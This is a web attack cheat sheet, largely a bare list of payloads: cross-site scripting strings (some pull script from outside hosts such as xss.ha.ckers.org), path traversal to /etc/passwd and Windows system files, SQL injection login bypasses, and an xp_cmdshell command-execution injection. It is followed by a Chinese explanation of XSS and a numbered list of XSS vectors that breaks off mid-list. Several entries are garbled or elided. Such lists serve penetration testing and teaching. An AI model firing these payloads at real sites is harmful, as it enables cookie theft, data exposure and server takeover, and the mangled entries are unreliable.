- '><script>alert(document.cookie)</script>
- ='><script>alert(document.cookie)</script>
- <script>alert(document.cookie)</script>
- <script>alert(vulnerable)</script>
- %3Cscript%3Ealert('XSS')%3C/script%3E
- <script>alert('XSS')</script>
- <img src="javascript:alert('XSS')">
- %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
- %22%3cscript%3ealert(%22xss%22)%3c/script%3e
- %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
- %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
- %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
- %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
- %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
- %3f.jsp
- %3f.jsp
- <script>alert('Vulnerable');</script>
- <script>alert('Vulnerable')</script>
- ?sql_debug=1
- a%5c.aspx
- a.jsp/<script>alert('Vulnerable')</script>
- a/
- a?<script>alert('Vulnerable')</script>
- "><script>alert('Vulnerable')</script>
- ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
- %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
- %3Cscript%3Ealert(document. domain);%3C/script%3E&
- %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
- 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
- http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
- ..\..\..\..\..\..\..\..\windows\system.ini
- \..\..\..\..\..\..\..\..\windows\system.ini
- '';!--"<XSS>=&{()}
- <IMG src="javascript:alert('XSS');">
- <IMG src=javascript:alert('XSS')>
- <IMG src=JaVaScRiPt:alert('XSS')>
- <IMG src=JaVaScRiPt:alert("XSS")>
- <IMG src=javascript:alert('XSS')>
- <IMG src=javascript:alert('XSS')>
- <IMG src=javascript:alert('XSS')>
- <IMG src="jav ascript:alert('XSS');">
- <IMG src="jav ascript:alert('XSS');">
- <IMG src="jav ascript:alert('XSS');">
- "<IMG src=java\0script:alert(\"XSS\")>";' > out
- <IMG src=" javascript:alert('XSS');">
- <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
- <BODY BACKGROUND="javascript:alert('XSS')">
- <BODY ONLOAD=alert('XSS')>
- <IMG DYNSRC="javascript:alert('XSS')">
- <IMG LOWSRC="javascript:alert('XSS')">
- <BGSOUND src="javascript:alert('XSS');">
- <br size="&{alert('XSS')}">
- <LAYER src="http://xss.ha.ckers.org/a.js"></layer>
- <LINK REL="stylesheet" href="javascript:alert('XSS');">
- <IMG src='vbscript:msgbox("XSS")'>
- <IMG src="mocha:[code]">
- <IMG src="livescript:[code]">
- <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
- <IFRAME src=javascript:alert('XSS')></IFRAME>
- <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
- <TABLE BACKGROUND="javascript:alert('XSS')">
- <DIV STYLE="background-image: url(javascript:alert('XSS'))">
- <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
- <DIV STYLE="width: expression(alert('XSS'));">
- <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
- <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
- <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
- <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
- <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
- <BASE href="javascript:alert('XSS');//">
- getURL("javascript:alert('XSS')")
- a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
- <XML src="javascript:alert('XSS');">
- "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
- <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
- <IMG src="javascript:alert('XSS')"
- <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
- <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
- <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
- <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
- <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
- <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
- <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
- <A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
- admin'--
- ' or 0=0 --
- " or 0=0 --
- or 0=0 --
- ' or 0=0 #
- " or 0=0 #
- or 0=0 #
- ' or 'x'='x
- " or "x"="x
- ') or ('x'='x
- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or a=a--
- " or "a"="a
- ') or ('a'='a
- ") or ("a"="a
- hi" or "a"="a
- hi" or 1=1 --
- hi' or 1=1 --
- hi' or 'a'='a
- hi') or ('a'='a
- hi") or ("a"="a
-
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
下面是几种常用的XSS攻击代码:
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>